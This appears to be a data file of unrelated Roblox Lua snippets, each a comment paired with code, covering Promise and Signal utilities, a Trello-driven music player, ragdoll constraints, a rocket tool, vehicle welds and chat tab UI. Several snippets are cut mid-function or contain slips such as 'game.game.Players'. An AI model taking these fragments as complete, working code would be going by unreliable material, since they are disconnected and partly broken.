its parent Promise if it had no other consumers. Likewise, if the parent Promise is cancelled, the `finally` Promise
will also be cancelled.
:::
```lua
local thing = createSomething()
doSomethingWith(thing)
:andThen(function()
print("It worked!")
-- do something..
end)
:catch(function()
warn("Oh no it failed!")
end)
:finally(function()
-- either way, destroy thing
thing:Destroy()
end)
```
@param finallyHandler (status: Status) -> ...any
@return Promise<...any>
]=]
|
function Promise.prototype:finally(finallyHandler)
assert(finallyHandler == nil or isCallable(finallyHandler), string.format(ERROR_NON_FUNCTION, "Promise:finally"))
return self:_finally(debug.traceback(nil, 2), finallyHandler)
end
|
-- Defines all FC types.
-- Any script that requires this will have these types defined.
| |
-- << LOCAL FUNCTIONS >>
|
local function checkPrefix(character, pdata)
local incorrectPrefixes = {
[":"] = true;
}
if main.infoOnAllCommands.Prefixes[character] or character == pdata.Prefix or (settings.WarnIncorrectPrefix and incorrectPrefixes[character]) then --Included the last argument as new players confuse ; with :
return true
else
return false
end
end
|
-- do not touch anything below or I will cry ~Wiz --
|
local nowplaying = ""
local requests = {
}
local http = game:GetService('HttpService')
local lists = http:JSONDecode(http:GetAsync("https://api.trello.com/1/boards/"..trelloboard.."/lists"))
for _,v in pairs(lists) do
if v.name == "Past" then
local items = http:JSONDecode(http:GetAsync("https://api.trello.com/1/lists/"..v.id.."/cards"))
print(#items)
for _,v in pairs(items) do
if v.name:match(":") ~= nil then
local s,f = string.find(v.name,":")
table.insert(songs, string.sub(v.name,f+1))
end
end
end
end
function shuffleTable(t)
math.randomseed(tick())
assert(t, "shuffleTable() expected a table, got nil" )
local iterations = #t
local j
for i = iterations, 2, -1 do
j = math.random(i)
t[i], t[j] = t[j], t[i]
end
end
shuffleTable(songs)
local songnum = 0
function script.Parent.musicEvents.getSong.OnServerInvoke()
return game:service('MarketplaceService'):GetProductInfo(tonumber(nowplaying)).Name
end
script.Parent.musicEvents.purchaseSong.OnServerEvent:connect(function(p)
if p.userId > 0 then
game:GetService("MarketplaceService"):PromptProductPurchase(p, productId)
end
end)
local votes = {
}
function makesong()
script.Parent.Parent.Parent.Body.MP:WaitForChild("Sound"):Stop()
wait()
if #requests == 0 then
songnum = songnum+1
if songnum > #songs then
songnum = 1
end
nowplaying = songs[songnum]
else
nowplaying = requests[1]
table.remove(requests,1)
end
local thisfunctionssong = nowplaying
script.Parent.Parent.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..thisfunctionssong
wait()
script.Parent.Parent.Parent.Body.MP.Sound:Play()
script.Parent.musicEvents.newSong:FireAllClients(game:service('MarketplaceService'):GetProductInfo(tonumber(nowplaying)).Name)
votes = {}
wait(script.Parent.Parent.Parent.Body.MP.Sound.TimeLength)
if "rbxassetid://"..nowplaying == "rbxassetid://"..thisfunctionssong then
makesong()
end
end
function countVotes()
local c = 0
for _,v in pairs(votes) do
if v[2] == true then
c = c +1
end
end
local remainder = #game.Players:GetPlayers() - #votes
local percent = (c + (remainder/2))/#game.Players:GetPlayers()
script.Parent.musicEvents.voteChange:FireAllClients(percent)
if percent <= 0.2 then
--skip song
makesong()
end
return
end
script.Parent.musicEvents.voteYes.OnServerEvent:connect(function(p)
for _,v in pairs(votes) do
if v[1] == p.Name then
v[2] = true
countVotes()
return
end
end
table.insert(votes, {p.Name, true})
countVotes()
end)
script.Parent.musicEvents.voteNo.OnServerEvent:connect(function(p)
for _,v in pairs(votes) do
if v[1] == p.Name then
v[2] = false
countVotes()
return
end
end
table.insert(votes, {p.Name, false})
countVotes()
end)
|
--[=[
@class Option
Represents an optional value in Lua. This is useful to avoid `nil` bugs, which can
go silently undetected within code and cause hidden or hard-to-find bugs.
]=]
|
local Option = {}
Option.__index = Option
function Option._new(value)
local self = setmetatable({
ClassName = CLASSNAME;
_v = value;
_s = (value ~= nil);
}, Option)
return self
end
|
--- Gives the Maid a Task to perform at cleanup, incremented by 1
-- @param Variant Task An object to be Destroyed, a Connection to be Disconnected, or function/callable table to be called
-- @returns the index the Task was placed at
|
function Maid:GiveTask(Task)
local n = #self._Tasks + 1
self._Tasks[n] = Task
return n
end
|
-- A state object which follows another state object using tweens.
|
export type Tween<T> = PubTypes.Tween<T> & {
_goalState: State<T>,
_tweenInfo: TweenInfo,
_prevValue: T,
_nextValue: T,
_currentValue: T,
_currentTweenInfo: TweenInfo,
_currentTweenDuration: number,
_currentTweenStartTime: number
}
|
--[[
Various ragdoll constraints that are used depending on what type
of joint they're being applied to.
This is meant to work with any character, but is mostly tailored
to characters with legs/arms, as it is impossible to satisfy all
use cases in a generic way. You can for sure make a spider with 8
legs by sticking to the same naming conventions as R15
(e.g. LeftUpperLeg1, 2, 3, ...), but something like an eel is not
going to come for free out of the box, at least perfectly. That said,
there is a Default waist-like joint for all unknown joint types. It
won't be perfect, but it will be functional.
If these joint types do not satisfy your use cases, you can tweak them
or add new ones! Just modify or add to this module's children. These
constraints are automatically selected based on the last word of the
joint's name (e.g. Hip from LeftHip). Things to know if you are
changing them:
Shoulder twist angles should not be lowered any further or the ragdoll's
arms will get stuck in "Aliens" position often
https://i.imgur.com/Ck5j34M.jpg
Neck is using a HingeConstraint because BallSocketConstraints are
kind of unstable for the head.
https://gfycat.com/GrotesqueFirsthandBluebottlejellyfish
Ankle and Wrist are HingeConstraints because twist limits are not
enough for BallSocketConstraints -- due to the "try to do x"
rather than "force x" nature of constraints, twist limits are
given a small margin where they are not applied close to 0, and
this causes the wrists/ankles to jitter back and forth when they
are suspended in air. Other limbs are generally not suspended in
air, so it's only necessary for Ankle/Wrist joints.
--]]
|
local getLastWordFromPascaleCase = require(script.Parent:WaitForChild("getLastWordFromPascalCase"))
local constraints = {}
for _,v in pairs(script:GetChildren()) do
constraints[v.Name] = v
end
function getConstraintTemplate(jointName)
jointName = getLastWordFromPascaleCase(jointName)
return constraints[jointName] or constraints.Default
end
function createConstraint(jointData)
local jointName = jointData.Joint.Name
local constraint = getConstraintTemplate(jointName):Clone()
constraint.Attachment0 = jointData.Attachment0
constraint.Attachment1 = jointData.Attachment1
constraint.Name = jointName.."RagdollConstraint"
-- Constraints don't work if there is a rigid joint connecting its two parts,
-- so when we enter ragdoll we need to turn off the joint, and turn it back on
-- when we leave ragdoll. This allows us to tell which joint corresponds with
-- which constraint
local rigidPointer = Instance.new("ObjectValue")
rigidPointer.Parent = constraint
rigidPointer.Name = "RigidJoint"
rigidPointer.Value = jointData.Joint
return constraint
end
return function(attachmentMap)
local ragdollConstraints = Instance.new("Folder")
ragdollConstraints.Name = "RagdollConstraints"
for _,jointData in pairs(attachmentMap) do
if jointData.Joint.Name ~= "Root" then
local ragdollConstraint = createConstraint(jointData)
ragdollConstraint.Parent = ragdollConstraints
end
end
return ragdollConstraints
end
|
-- Make the part float on the side of the player
|
local player = Players.LocalPlayer
local char = player.Character
local Humanoid: Part = char:WaitForChild('HumanoidRootPart')
while true do
mainPart.CFrame = Humanoid.CFrame * CFrame.new(0, -1, -2)
wait(0.1)
end
|
--[=[
@param ... any
Same as `Fire`, but uses `task.defer` internally & doesn't take advantage of thread reuse.
```lua
signal:FireDeferred("Hello")
```
]=]
|
function Signal:FireDeferred(...)
local item = self._handlerListHead
while item do
task.defer(item._fn, ...)
item = item._next
end
end
|
--This module is for any client FX related to the lab debris
|
local DoorFX = {}
local tweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local InitialModelCFrames = {}
function DoorFX.OPEN(door)
if not door then return end
local EffectsBrick = door:WaitForChild("Effects")
local Effects = EffectsBrick:GetChildren()
for _, Item in pairs (Effects) do
if Item.Name == "Unlock" then Item:Play() continue end
if Item:IsA("Beam") or Item:IsA("PointLight") or Item:IsA("ParticleEmitter") then
Item.Enabled = true
end
end
local Components = door:GetChildren()
for _, Component in pairs (Components) do
if not Component:IsA("Model") then continue end
local descendants = Component:GetDescendants()
for _, item in pairs (descendants) do
if item:IsA("BasePart") and item ~= Component.PrimaryPart then
local newWeld = Instance.new("WeldConstraint")
newWeld.Part0 = item
newWeld.Part1 = Component.PrimaryPart
newWeld.Parent = Component.PrimaryPart
item.Anchored = false
end
end
InitialModelCFrames[Component] = Component.PrimaryPart.CFrame
local CFrameGoal = (Component.PrimaryPart.CFrame + Vector3.new(math.random(-1,1),3,math.random(-1,1)))
* CFrame.Angles(math.rad(math.random(1,360)), math.rad(math.random(1,360)), math.rad(math.random(1,360)))
local TweenInf = TweenInfo.new(1, Enum.EasingStyle.Quint, Enum.EasingDirection.In)
tweenService:Create(Component.PrimaryPart, TweenInf, {CFrame = CFrameGoal}):Play()
end
wait(1)
for _, Component in pairs (Components) do
if not Component:IsA("Model") then continue end
local CFrameGoal = (Component.PrimaryPart.CFrame + Vector3.new(math.random(-20,20),50,math.random(-20,20)))
* CFrame.Angles(math.rad(math.random(1,360)), math.rad(math.random(1,360)), math.rad(math.random(1,360)))
local TweenInf = TweenInfo.new(2, Enum.EasingStyle.Linear)
local Tween = tweenService:Create(Component.PrimaryPart, TweenInf, {CFrame = CFrameGoal})
Tween:Play()
local Event = nil
Event = Tween.Completed:Connect(function()
Event:Disconnect()
Component.PrimaryPart.CFrame = Component.PrimaryPart.CFrame - Vector3.new(0, 300, 0)
end)
end
wait(.5)
for _, Item in pairs (Effects) do
if Item:IsA("Beam") or Item:IsA("PointLight") or Item:IsA("ParticleEmitter") then
Item.Enabled = false
end
end
end
function DoorFX.CLOSE(door)
if not door then return end
local Components = door:GetChildren()
for _, Component in pairs (Components) do
if Component:IsA("Model") then
Component.PrimaryPart.CFrame = InitialModelCFrames[Component] or Component.PrimaryPart.CFrame
--this errors when the module is called for some reason so thats why its like that
end
end
end
return DoorFX
|
-----------------
--| Functions |--
-----------------
|
local function MakeBaseRocket()
-- Set up the rocket part
local rocket = Instance.new('Part')
rocket.Name = 'Rocket'
rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size
rocket.Size = ROCKET_PART_SIZE
rocket.CanCollide = false
rocket.BottomSurface = Enum.SurfaceType.Smooth
rocket.TopSurface = Enum.SurfaceType.Smooth
-- Add the mesh
local mesh = Instance.new('SpecialMesh', rocket)
mesh.MeshId = ROCKET_MESH_ID
mesh.Scale = ROCKET_MESH_SCALE
mesh.TextureId = ToolHandle.Mesh.TextureId
-- Add fire
local fire = Instance.new('Fire', rocket)
fire.Heat = 3
fire.Size = 2
-- Add the propulsion
local rocketPropulsion = Instance.new('RocketPropulsion', rocket)
rocketPropulsion.CartoonFactor = 1
rocketPropulsion.TargetRadius = TARGET_RADIUS
rocketPropulsion.MaxSpeed = MAX_SPEED
rocketPropulsion.MaxTorque = MAX_TORQUE
rocketPropulsion.MaxThrust = MAX_THRUST
rocketPropulsion.ThrustP = THRUST_P
rocketPropulsion.ThrustD = THRUST_D
-- Clone the sounds
local swooshSoundClone = SwooshSound:Clone()
swooshSoundClone.Parent = rocket
local boomSoundClone = BoomSound:Clone()
boomSoundClone.Parent = rocket
-- Attach creator tags
local creatorTag = Instance.new('ObjectValue', rocket)
creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats
creatorTag.Value = MyPlayer
local iconTag = Instance.new('StringValue', creatorTag)
iconTag.Name = 'icon'
iconTag.Value = Tool.TextureId
-- Finally, clone the rocket script and enable it
local rocketScriptClone = RocketScript:Clone()
rocketScriptClone.Parent = rocket
rocketScriptClone.Disabled = false
return rocket
end
local function OnEquipped()
MyModel = Tool.Parent
MyPlayer = PlayersService:GetPlayerFromCharacter(MyModel)
BaseRocket = MakeBaseRocket()
RocketClone = BaseRocket:Clone()
end
local function OnActivated(byFireButton)
if Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then
Tool.Enabled = false
-- Get the target position
local targetPosition = MyModel.Humanoid.TargetPoint
if byFireButton then -- Using Fire Button, shoot forwards
targetPosition = MyModel.Humanoid.Torso.CFrame.lookVector * 1000
end
-- Position the rocket clone
local spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.z / 2))
RocketClone.CFrame = CFrame.new(spawnPosition, targetPosition) --NOTE: This must be done before assigning Parent
DebrisService:AddItem(RocketClone, 30)
RocketClone.Parent = Workspace
-- Assign target and launch!
FireSound:Play()
local rocketPropulsion = RocketClone:FindFirstChild('RocketPropulsion')
if rocketPropulsion then
local direction = (targetPosition - RocketClone.Position).unit
rocketPropulsion.TargetOffset = RocketClone.Position + (direction * TARGET_OVERSHOOT_DISTANCE)
rocketPropulsion:Fire()
end
wait(0) --TODO: Remove when sounds realize they can be played as soon as they enter the Workspace
-- Swoosh!
local swooshSound = RocketClone:FindFirstChild('Swoosh')
if swooshSound then
swooshSound:Play()
end
-- Prepare the next rocket to be fired
RocketClone = BaseRocket:Clone()
ReloadSound:Play()
wait(COOLDOWN)
-- Stop the reloading sound if it hasn't already finished
ReloadSound:Stop()
Tool.Enabled = true
end
end
local function OnUnequipped()
ReloadSound:Stop() --TODO: This does not work online
end
|
-- Calling Corner
|
PhysPad.Touched:Connect(onTouch)
|
-- Put us by the screen so we can see it's working
|
local c = game.Players.LocalPlayer.Character or game.game.Players.LocalPlayer.CharacterAdded:Wait()
c.HumanoidRootPart.CFrame = CFrame.new(workspace.Screen.Position+Vector3.new(5,0,0))
|
---
|
MakeWeld(car.Misc.Und.base,car.DriveSeat)
MakeWeld(car.Misc.Und.Cover.A,car.Misc.Und.Cover.part1)
MakeWeld(car.Misc.Und.La.A,car.Misc.Und.La.part1)
MakeWeld(car.Misc.Und.H1.To,car.Misc.Und.H1.part1)
MakeWeld(car.Misc.Und.H1.H2.To,car.Misc.Und.H1.H2.part1)
MakeWeld(car.Misc.Und.H1.H2.H3.To,car.Misc.Und.H1.H2.H3.part1)
MakeWeld(car.Misc.Und.H1.H2.H3.H4.Ua_1,car.Misc.Und.H1.H2.H3.H4.part1)
MakeWeld(car.Misc.Und.H1.H2.H3.H4.Ua_2,car.Misc.Und.H1.H2.H3.H4.part1)
MakeWeld(car.Misc.Und.H1.H2.H3.H4.Ua_3,car.Misc.Und.H1.H2.H3.H4.part1)
MakeWeld(car.Misc.Und.H1.part0,car.Misc.Und.H1.part1,"Motor",.003).Name="Motor"
MakeWeld(car.Misc.Und.H1.H2.part0,car.Misc.Und.H1.H2.part1,"Motor",.006).Name="Motor"
MakeWeld(car.Misc.Und.H1.H2.H3.part0,car.Misc.Und.H1.H2.H3.part1,"Motor",.003).Name="Motor"
MakeWeld(car.Misc.Und.H1.H2.H3.H4.part0,car.Misc.Und.H1.H2.H3.H4.part1,"Motor",.006).Name="Motor"
MakeWeld(car.Misc.Und.Cover.part0,car.Misc.Und.Cover.part1,"Motor",.015).Name="Motor"
MakeWeld(car.Misc.Und.La.part0,car.Misc.Und.La.part1,"Motor",.003).Name="Motor"
MakeWeld(car.Misc.Und.H1.part0,car.Misc.Und.base)
MakeWeld(car.Misc.Und.Cover.part0,car.Misc.Und.base)
MakeWeld(car.Misc.Und.La.part0,car.Misc.Und.base)
MakeWeld(car.Misc.Und.H1.H2.part0,car.Misc.Und.H1.To)
MakeWeld(car.Misc.Und.H1.H2.H3.part0,car.Misc.Und.H1.H2.To)
MakeWeld(car.Misc.Und.H1.H2.H3.H4.part0,car.Misc.Und.H1.H2.H3.To)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
end
end)
|
-- Those lines down there are poison effects given by
-- the gaster blaster.
|
wait(0.1)
human.Health = human.Health - 1
end
end
script.Parent.Touched:connect(onTouched)
|
-- Menus
|
local menuContainer = Instance.new("Frame")
menuContainer.Active = true
menuContainer.Selectable = false
menuContainer.Name = "MenuContainer"
menuContainer.BackgroundTransparency = 1
menuContainer.BorderSizePixel = 0
menuContainer.AnchorPoint = Vector2.new(1, 0)
menuContainer.Size = UDim2.new(0, 500, 0, 50)
menuContainer.ZIndex = -2
menuContainer.ClipsDescendants = true
menuContainer.Visible = true
menuContainer.Parent = iconContainer
menuContainer.Active = false
local menuFrame = Instance.new("ScrollingFrame")
menuFrame.Active = true
menuFrame.Selectable = true
menuFrame.Name = "MenuFrame"
menuFrame.BackgroundTransparency = 1
menuFrame.BorderSizePixel = 0
menuFrame.AnchorPoint = Vector2.new(0, 0)
menuFrame.Position = UDim2.new(0, 0, 0, 0)
menuFrame.Size = UDim2.new(1, 0, 1, 0)
menuFrame.ZIndex = -1 + 10
menuFrame.ClipsDescendants = false
menuFrame.Visible = true
menuFrame.TopImage = ""--menuFrame.MidImage
menuFrame.BottomImage = ""--menuFrame.MidImage
menuFrame.HorizontalScrollBarInset = Enum.ScrollBarInset.Always
menuFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
menuFrame.Parent = menuContainer
menuFrame.Active = false
local menuList = Instance.new("UIListLayout")
menuList.Name = "MenuList"
menuList.FillDirection = Enum.FillDirection.Horizontal
menuList.HorizontalAlignment = Enum.HorizontalAlignment.Right
menuList.SortOrder = Enum.SortOrder.LayoutOrder
menuList.Parent = menuFrame
local menuInvisBlocker = Instance.new("Frame")
menuInvisBlocker.Name = "MenuInvisBlocker"
menuInvisBlocker.BackgroundTransparency = 1
menuInvisBlocker.Size = UDim2.new(0, -2, 1, 0)
menuInvisBlocker.Visible = true
menuInvisBlocker.LayoutOrder = 999999999
menuInvisBlocker.Parent = menuFrame
menuInvisBlocker.Active = false
|
-- Folder
|
local soundFold = rp.Storage.Sounds
local module = {}
function module.Play( Data)
local sfx = Data.sfx
local tim = Data.tim
local part = Data.part
local sound = sfx:Clone()
sound.Parent = part
sound:Play()
if tim then
game.Debris:AddItem(sound, tim)
end
return sound
end
|
-- How many times per second the gun can fire
|
local FireRate = 10 / 60
|
--------| Library |--------
|
local _L = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"))
while (not _L.Loaded) do game:GetService("RunService").Heartbeat:Wait() end
|
--// # key, ManOn
|
mouse.KeyDown:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Man:Play()
veh.Lightbar.middle.Wail.Volume = 0
veh.Lightbar.middle.Yelp.Volume = 0
veh.Lightbar.middle.Priority.Volume = 0
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
end
end)
|
--////////////////////////////// Methods
--//////////////////////////////////////
|
local methods = {}
methods.__index = methods
function methods:CreateGuiObjects(targetParent)
local BaseFrame = Instance.new("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 1, 0)
BaseFrame.BackgroundTransparency = 1
BaseFrame.Parent = targetParent
local ScrollingBase = Instance.new("Frame")
ScrollingBase.Selectable = false
ScrollingBase.Name = "ScrollingBase"
ScrollingBase.BackgroundTransparency = 1
ScrollingBase.ClipsDescendants = true
ScrollingBase.Size = UDim2.new(1, 0, 1, 0)
ScrollingBase.Position = UDim2.new(0, 0, 0, 0)
ScrollingBase.Parent = BaseFrame
local ScrollerSizer = Instance.new("Frame")
ScrollerSizer.Selectable = false
ScrollerSizer.Name = "ScrollerSizer"
ScrollerSizer.BackgroundTransparency = 1
ScrollerSizer.Size = UDim2.new(1, 0, 1, 0)
ScrollerSizer.Position = UDim2.new(0, 0, 0, 0)
ScrollerSizer.Parent = ScrollingBase
local ScrollerFrame = Instance.new("Frame")
ScrollerFrame.Selectable = false
ScrollerFrame.Name = "ScrollerFrame"
ScrollerFrame.BackgroundTransparency = 1
ScrollerFrame.Size = UDim2.new(1, 0, 1, 0)
ScrollerFrame.Position = UDim2.new(0, 0, 0, 0)
ScrollerFrame.Parent = ScrollerSizer
local LeaveConfirmationFrameBase = Instance.new("Frame")
LeaveConfirmationFrameBase.Selectable = false
LeaveConfirmationFrameBase.Size = UDim2.new(1, 0, 1, 0)
LeaveConfirmationFrameBase.Position = UDim2.new(0, 0, 0, 0)
LeaveConfirmationFrameBase.ClipsDescendants = true
LeaveConfirmationFrameBase.BackgroundTransparency = 1
LeaveConfirmationFrameBase.Parent = BaseFrame
local LeaveConfirmationFrame = Instance.new("Frame")
LeaveConfirmationFrame.Selectable = false
LeaveConfirmationFrame.Name = "LeaveConfirmationFrame"
LeaveConfirmationFrame.Size = UDim2.new(1, 0, 1, 0)
LeaveConfirmationFrame.Position = UDim2.new(0, 0, 1, 0)
LeaveConfirmationFrame.BackgroundTransparency = 0.6
LeaveConfirmationFrame.BorderSizePixel = 0
LeaveConfirmationFrame.BackgroundColor3 = Color3.new(0, 0, 0)
LeaveConfirmationFrame.Parent = LeaveConfirmationFrameBase
local InputBlocker = Instance.new("TextButton")
InputBlocker.Selectable = false
InputBlocker.Size = UDim2.new(1, 0, 1, 0)
InputBlocker.BackgroundTransparency = 1
InputBlocker.Text = ""
InputBlocker.Parent = LeaveConfirmationFrame
local LeaveConfirmationButtonYes = Instance.new("TextButton")
LeaveConfirmationButtonYes.Selectable = false
LeaveConfirmationButtonYes.Size = UDim2.new(0.25, 0, 1, 0)
LeaveConfirmationButtonYes.BackgroundTransparency = 1
LeaveConfirmationButtonYes.Font = ChatSettings.DefaultFont
LeaveConfirmationButtonYes.TextSize = 18
LeaveConfirmationButtonYes.TextStrokeTransparency = 0.75
LeaveConfirmationButtonYes.Position = UDim2.new(0, 0, 0, 0)
LeaveConfirmationButtonYes.TextColor3 = Color3.new(0, 1, 0)
LeaveConfirmationButtonYes.Text = "Confirm"
LeaveConfirmationButtonYes.Parent = LeaveConfirmationFrame
local LeaveConfirmationButtonNo = LeaveConfirmationButtonYes:Clone()
LeaveConfirmationButtonNo.Parent = LeaveConfirmationFrame
LeaveConfirmationButtonNo.Position = UDim2.new(0.75, 0, 0, 0)
LeaveConfirmationButtonNo.TextColor3 = Color3.new(1, 0, 0)
LeaveConfirmationButtonNo.Text = "Cancel"
local LeaveConfirmationNotice = Instance.new("TextLabel")
LeaveConfirmationNotice.Selectable = false
LeaveConfirmationNotice.Size = UDim2.new(0.5, 0, 1, 0)
LeaveConfirmationNotice.Position = UDim2.new(0.25, 0, 0, 0)
LeaveConfirmationNotice.BackgroundTransparency = 1
LeaveConfirmationNotice.TextColor3 = Color3.new(1, 1, 1)
LeaveConfirmationNotice.TextStrokeTransparency = 0.75
LeaveConfirmationNotice.Text = "Leave channel <XX>?"
LeaveConfirmationNotice.Font = ChatSettings.DefaultFont
LeaveConfirmationNotice.TextSize = 18
LeaveConfirmationNotice.Parent = LeaveConfirmationFrame
local LeaveTarget = Instance.new("StringValue")
LeaveTarget.Name = "LeaveTarget"
LeaveTarget.Parent = LeaveConfirmationFrame
local outPos = LeaveConfirmationFrame.Position
LeaveConfirmationButtonYes.MouseButton1Click:connect(function()
MessageSender:SendMessage(string.format("/leave %s", LeaveTarget.Value), nil)
LeaveConfirmationFrame:TweenPosition(outPos, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.2, true)
end)
LeaveConfirmationButtonNo.MouseButton1Click:connect(function()
LeaveConfirmationFrame:TweenPosition(outPos, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.2, true)
end)
local scale = 0.7
local scaleOther = (1 - scale) / 2
local pageButtonImage = "rbxasset://textures/ui/Chat/TabArrowBackground.png"
local pageButtonArrowImage = "rbxasset://textures/ui/Chat/TabArrow.png"
--// ToDo: Remove these lines when the assets are put into trunk.
--// These grab unchanging versions hosted on the site, and not from the content folder.
pageButtonImage = "rbxassetid://471630199"
pageButtonArrowImage = "rbxassetid://471630112"
local PageLeftButton = Instance.new("ImageButton", BaseFrame)
PageLeftButton.Selectable = ChatSettings.GamepadNavigationEnabled
PageLeftButton.Name = "PageLeftButton"
PageLeftButton.SizeConstraint = Enum.SizeConstraint.RelativeYY
PageLeftButton.Size = UDim2.new(scale, 0, scale, 0)
PageLeftButton.BackgroundTransparency = 1
PageLeftButton.Position = UDim2.new(0, 4, scaleOther, 0)
PageLeftButton.Visible = false
PageLeftButton.Image = pageButtonImage
local ArrowLabel = Instance.new("ImageLabel", PageLeftButton)
ArrowLabel.Name = "ArrowLabel"
ArrowLabel.BackgroundTransparency = 1
ArrowLabel.Size = UDim2.new(0.4, 0, 0.4, 0)
ArrowLabel.Image = pageButtonArrowImage
local PageRightButtonPositionalHelper = Instance.new("Frame", BaseFrame)
PageRightButtonPositionalHelper.Selectable = false
PageRightButtonPositionalHelper.BackgroundTransparency = 1
PageRightButtonPositionalHelper.Name = "PositionalHelper"
PageRightButtonPositionalHelper.Size = PageLeftButton.Size
PageRightButtonPositionalHelper.SizeConstraint = PageLeftButton.SizeConstraint
PageRightButtonPositionalHelper.Position = UDim2.new(1, 0, scaleOther, 0)
local PageRightButton = PageLeftButton:Clone()
PageRightButton.Parent = PageRightButtonPositionalHelper
PageRightButton.Name = "PageRightButton"
PageRightButton.Size = UDim2.new(1, 0, 1, 0)
PageRightButton.SizeConstraint = Enum.SizeConstraint.RelativeXY
PageRightButton.Position = UDim2.new(-1, -4, 0, 0)
local positionOffset = UDim2.new(0.05, 0, 0, 0)
PageRightButton.ArrowLabel.Position = UDim2.new(0.3, 0, 0.3, 0) + positionOffset
PageLeftButton.ArrowLabel.Position = UDim2.new(0.3, 0, 0.3, 0) - positionOffset
PageLeftButton.ArrowLabel.Rotation = 180
self.GuiObject = BaseFrame
self.GuiObjects.BaseFrame = BaseFrame
self.GuiObjects.ScrollerSizer = ScrollerSizer
self.GuiObjects.ScrollerFrame = ScrollerFrame
self.GuiObjects.PageLeftButton = PageLeftButton
self.GuiObjects.PageRightButton = PageRightButton
self.GuiObjects.LeaveConfirmationFrame = LeaveConfirmationFrame
self.GuiObjects.LeaveConfirmationNotice = LeaveConfirmationNotice
self.GuiObjects.PageLeftButtonArrow = PageLeftButton.ArrowLabel
self.GuiObjects.PageRightButtonArrow = PageRightButton.ArrowLabel
self:AnimGuiObjects()
PageLeftButton.MouseButton1Click:connect(function() self:ScrollChannelsFrame(-1) end)
PageRightButton.MouseButton1Click:connect(function() self:ScrollChannelsFrame(1) end)
self:ScrollChannelsFrame(0)
end
function methods:UpdateMessagePostedInChannel(channelName)
local tab = self:GetChannelTab(channelName)
if (tab) then
tab:UpdateMessagePostedInChannel()
else
warn("ChannelsTab '" .. channelName .. "' does not exist!")
end
end
function methods:AddChannelTab(channelName)
if (self:GetChannelTab(channelName)) then
error("Channel tab '" .. channelName .. "'already exists!")
end
local tab = moduleChannelsTab.new(channelName)
tab.GuiObject.Parent = self.GuiObjects.ScrollerFrame
self.ChannelTabs[channelName:lower()] = tab
self.NumTabs = self.NumTabs + 1
self:OrganizeChannelTabs()
if (ChatSettings.RightClickToLeaveChannelEnabled) then
tab.NameTag.MouseButton2Click:connect(function()
self.LeaveConfirmationNotice.Text = string.format("Leave channel %s?", tab.ChannelName)
self.LeaveConfirmationFrame.LeaveTarget.Value = tab.ChannelName
self.LeaveConfirmationFrame:TweenPosition(UDim2.new(0, 0, 0, 0), Enum.EasingDirection.In, Enum.EasingStyle.Quad, 0.2, true)
end)
end
return tab
end
function methods:RemoveChannelTab(channelName)
if (not self:GetChannelTab(channelName)) then
error("Channel tab '" .. channelName .. "'does not exist!")
end
local indexName = channelName:lower()
self.ChannelTabs[indexName]:Destroy()
self.ChannelTabs[indexName] = nil
self.NumTabs = self.NumTabs - 1
self:OrganizeChannelTabs()
end
function methods:GetChannelTab(channelName)
return self.ChannelTabs[channelName:lower()]
end
function methods:OrganizeChannelTabs()
local order = {}
table.insert(order, self:GetChannelTab(ChatSettings.GeneralChannelName))
table.insert(order, self:GetChannelTab("System"))
for tabIndexName, tab in pairs(self.ChannelTabs) do
if (tab.ChannelName ~= ChatSettings.GeneralChannelName and tab.ChannelName ~= "System") then
table.insert(order, tab)
end
end
for index, tab in pairs(order) do
tab.GuiObject.Position = UDim2.new(index - 1, 0, 0, 0)
end
--// Dynamic tab resizing
self.GuiObjects.ScrollerSizer.Size = UDim2.new(1 / math.max(1, math.min(ChatSettings.ChannelsBarFullTabSize, self.NumTabs)), 0, 1, 0)
self:ScrollChannelsFrame(0)
end
function methods:ResizeChannelTabText(textSize)
for i, tab in pairs(self.ChannelTabs) do
tab:SetTextSize(textSize)
end
end
function methods:ScrollChannelsFrame(dir)
if (self.ScrollChannelsFrameLock) then return end
self.ScrollChannelsFrameLock = true
local tabNumber = ChatSettings.ChannelsBarFullTabSize
local newPageNum = self.CurPageNum + dir
if (newPageNum < 0) then
newPageNum = 0
elseif (newPageNum > 0 and newPageNum + tabNumber > self.NumTabs) then
newPageNum = self.NumTabs - tabNumber
end
self.CurPageNum = newPageNum
local tweenTime = 0.15
local endPos = UDim2.new(-self.CurPageNum, 0, 0, 0)
self.GuiObjects.PageLeftButton.Visible = (self.CurPageNum > 0)
self.GuiObjects.PageRightButton.Visible = (self.CurPageNum + tabNumber < self.NumTabs)
if dir == 0 then
self.ScrollChannelsFrameLock = false
return
end
local function UnlockFunc()
self.ScrollChannelsFrameLock = false
end
self:WaitUntilParentedCorrectly()
self.GuiObjects.ScrollerFrame:TweenPosition(endPos, Enum.EasingDirection.InOut, Enum.EasingStyle.Quad, tweenTime, true, UnlockFunc)
end
function methods:FadeOutBackground(duration)
for channelName, channelObj in pairs(self.ChannelTabs) do
channelObj:FadeOutBackground(duration)
end
self.AnimParams.Background_TargetTransparency = 1
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeInBackground(duration)
for channelName, channelObj in pairs(self.ChannelTabs) do
channelObj:FadeInBackground(duration)
end
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeOutText(duration)
